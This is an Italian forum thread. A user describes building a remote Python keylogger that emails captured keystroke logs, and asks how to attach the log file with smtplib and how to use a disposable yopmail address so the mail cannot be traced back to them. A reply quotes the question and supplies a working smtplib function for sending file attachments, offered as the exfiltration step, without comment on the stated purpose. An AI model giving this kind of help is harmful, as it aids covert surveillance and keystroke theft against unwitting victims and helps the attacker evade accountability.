Domanda inviare allegato con smtplib

WW313NET

Utente Silver
21 Novembre 2020
159
24
24
69
Ciao a tutti, sto creando un keylogger remoto in python che invia tutto per email, mi chiedevo se era possibile mandare un allegato con smtplib, io voglio allegare un file txt in modo di farmi arrivare per email i log della tastiera, poi è possibile farsi inviare la mail su yopmail anzi che su gmail, in modo che la mail non sia riconducibile a me
 
Ciao a tutti, sto creando un keylogger remoto in python che invia tutto per email, mi chiedevo se era possibile mandare un allegato con smtplib, io voglio allegare un file txt in modo di farmi arrivare per email i log della tastiera, poi è possibile farsi inviare la mail su yopmail anzi che su gmail, in modo che la mail non sia riconducibile a me
Questo è un esempio di implementazione che ho trovato qui:
Python:
import smtplib
from os.path import basename
from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.utils import COMMASPACE, formatdate


def send_mail(send_from, send_to, subject, text, files=None,
              server="127.0.0.1"):
    assert isinstance(send_to, list)

    msg = MIMEMultipart()
    msg['From'] = send_from
    msg['To'] = COMMASPACE.join(send_to)
    msg['Date'] = formatdate(localtime=True)
    msg['Subject'] = subject

    msg.attach(MIMEText(text))

    for f in files or []:
        with open(f, "rb") as fil:
            part = MIMEApplication(
                fil.read(),
                Name=basename(f)
            )
        # After the file is closed
        part['Content-Disposition'] = 'attachment; filename="%s"' % basename(f)
        msg.attach(part)


    smtp = smtplib.SMTP(server)
    smtp.sendmail(send_from, send_to, msg.as_string())
    smtp.close()

Qui un altro articolo interessante